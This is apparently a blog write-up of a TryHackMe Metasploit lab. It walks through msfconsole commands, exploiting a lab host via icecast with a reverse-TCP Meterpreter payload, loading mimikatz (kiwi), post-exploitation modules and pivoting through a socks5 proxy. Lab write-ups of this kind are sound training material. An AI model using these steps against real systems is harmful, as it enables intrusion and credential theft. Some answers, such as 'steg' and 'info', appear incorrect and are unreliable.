Scroll Top

Tryhackme Rpmetasploit CTF

Screenshot from 2022-03-15 12-32-07

Tryhackme Rpmetasploit CTF

Hello Friend ! i’m going to make a write-up about tryhackme’s room Metasploit: Exploitation.

Metasploit: Metasploit Framework is an exploitation framework created by Rapid7 organization Metasploit is written in Ruby and has been in development for many years. It allows you to enter the mind of a hacker and use the same methods for probing and infiltrating networks and servers. 

In Metasploit Framework 4.0 you can create your own exploits and then audit your website and network security by just launching the exploits along with the respective payloads, through its console mode or Armitage graphical user interface

Task :1

Kali and most other security distributions of Linux include Metasploit by default. If you are using a different distribution of Linux, verify that you have it installed or install it from the Rapid 7 Github repository.


First, we need to initialize the database! We will do that with the command:

Ans: msfdb init

we open the msfconsole help by entering the command msfconsole

Ans: -h

We can start the Metasploit console on the command line without showing the banner or any startup information as well by typing the command msfconsole

Ans: -q

After Metasploit has started, we will check that we have connected to the database by entering the command

Ans: db_status

We have connected to the database! Type of database it uses is

Ans: postgresql


Let’s go ahead and start exploring the help menu. On the Metasploit prompt (where we’ll be at after we start Metasploit using msfconsole), type the command: help

The help menu has a very short one-character alias, what is it? Ans: ?

What is the base command we use for searching?

Ans: search

what command we use to select it as the active module?

Ans: use

if we want to view information about either a specific module or just the active one we have selected

Ans: info

we can make a quick connection with a host simply to verify that we can ‘talk’ to it. What command is this?

Ans: connect

what command displays the motd/ascii art we see when we start msfconsole?

Ans: banner

First, what command do we use to change the value of a variable?

Ans: set

What command changes the value of a variable globally?

Ans: steg

Now that we’ve learned about to change the value of variables, how do we view them?

Ans: get

When performing a penetration test it’s quite common to record your screen either for further review or for providing evidence of any actions taken. This is often coupled with the collection of console output to a file as it can be incredibly useful to grep for different pieces of information output to the screen. What command can we use to set our console output to save to a file?

Ans: spool

What command can we use to store the settings/active datastores from Metasploit to a settings file?

Ans: save

Task: 4

Easily the most common module utilized, which module holds all of the exploit code we will use

Ans: Exploit

Used hand in hand with exploits, which module contains the various bits of shellcode we send to have executed following exploitation

Ans: payload

Which module is most commonly used in scanning and verification machines are exploitable? This is not the same as the actual exploitation of course.

Ans: Auxiliary

One of the most common activities after exploitation is looting and pivoting. Which module provides these capabilities

Ans: Post

Commonly utilized in payload obfuscation, which module allows us to modify the ‘appearance’ of our exploit such that we may avoid signature detection

Ans: Encoder

Last but not least, which module is used with buffer overflow and ROP attacks?

Ans: nop

Not every module is loaded in by default, what command can we use to load different modules?

Ans: load

Task: 5

Metasploit comes with a built-in way to run nmap and feed it’s results directly into our database. Let’s run that now by using the command ‘db_nmap -sV BOX-IP

We enter the command db_nmap -sV

What service does nmap identify running on port 135?

Ans: msrpc

Next we type the command hosts to see what information we have collected in the database.

We next type the command services. And also try the command vulns.

Now that we’ve scanned our victim system, let’s try connecting to it with a Metasploit payload. First, we’ll have to search for the target payload. use icecast

Now that we’ve scanned our victim system, let’s try connecting to it with a Metasploit payload. First, we’ll have to search for the target payload. In Metasploit 5 (the most recent version at the time of writing) you can simply type use followed by a unique string found within only the target exploit. For example, try this out now with the following command use icecast. What is the full path for our exploit that now appears on the msfconsole prompt? *This will include the exploit section at the start

Ans: exploit/windows/http/icecast_header

Next, let’s set the payload using this command ‘set PAYLOAD windows/meterpreter/reverse_tcp’. In this way, we can modify which payloads we want to use with our exploits. Additionally, let’s run this command ‘set LHOST YOUR_IP_ON_TRYHACKME’. You might have to check your IP using the command ‘ip addr’, it will likely be your tun0 interface

One last step before we can run our exploit. Run the command ‘set RHOST BOX_IP’ to tell Metasploit which target to attack. Once you’re set those variables correctly, run the exploit now via either the command ‘exploit’ or the command ‘run -j’ to run this as a job.

Once we’ve started this, we can check all of the jobs running on the system by running the command `jobs`

After we’ve established our connection in the next task, we can list all of our sessions using the command `sessions`. Similarly, we can interact with a target session using the command `sessions -i SESSION_NUMBER`

Task: 6

First things first, our initial shell/process typically isn’t very stable. Let’s go ahead and attempt to move to a different process. First, let’s list the processes using the command ‘ps’. What’s the name of the spool service?

Ans: spoolsv.exe

Let’s go ahead and move into the spool process or at least attempt to! What command do we use to transfer ourselves into the process?

Ans: migrate

Well that migration didn’t work, let’s find out some more information about the system so we can try to elevate. What command can we run to find out more information regarding the current user running the process we are in?

Ans: getuid

How about finding more information out about the system itself?

Ans: info

This might take a little bit of googling, what do we run to load mimikatz (more specifically the new version of mimikatz) so we can use it

Ans: load kiwi

Let’s go ahead and figure out the privileges of our current user, what command do we run?

Ans: getprivs

What command do we run to transfer files to our victim computer?

Ans: upload

How about if we want to run a Metasploit module?

Ans: run

A simple question but still quite necessary, what command do we run to figure out the networking information and interfaces on our victim

Ans: ipconfig

Let’s go ahead and run a few post modules from Metasploit. First, let’s run the command run post/windows/gather/checkvm. This will determine if we’re in a VM, a very useful piece of knowledge for further pivoting.

Next, let’s try: run post/multi/recon/local_exploit_suggester. This will check for various exploits which we can run within our session to elevate our privileges. Feel free to experiment using these suggestions, however, we’ll be going through this in greater detail in the room Ice.

Finally, let’s try forcing RDP to be available. This won’t work since we aren’t administrators, however, this is a fun command to know about: run post/windows/manage/enable_rdp

One quick extra question, what command can we run in our meterpreter session to spawn a normal system shell?

Ans: shell

Task: 7

Let’s go ahead and run the command run autoroute -h, this will pull up the help menu for autoroute. What command do we run to add a route to the following subnet: Use the -n flag in your answer.

Ans: run autoroute -s -n

Additionally, we can start a socks5 proxy server out of this session. Background our current meterpreter session and run the command search server/socks5. What is the full path to the socks5 auxiliary module?

Ans: auxiliary/server/socks5

Once we’ve started a socks server we can modify our /etc/proxychains.conf file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks5 server with proxychains?

Ans: proxychains

By shaan Grover | Infosec Intern

Related Posts

Privacy Preferences
When you visit our website, it may store information through your browser from specific services, usually in form of cookies. Here you can change your privacy preferences. Please note that blocking some types of cookies may impact your experience on our website and the services we offer.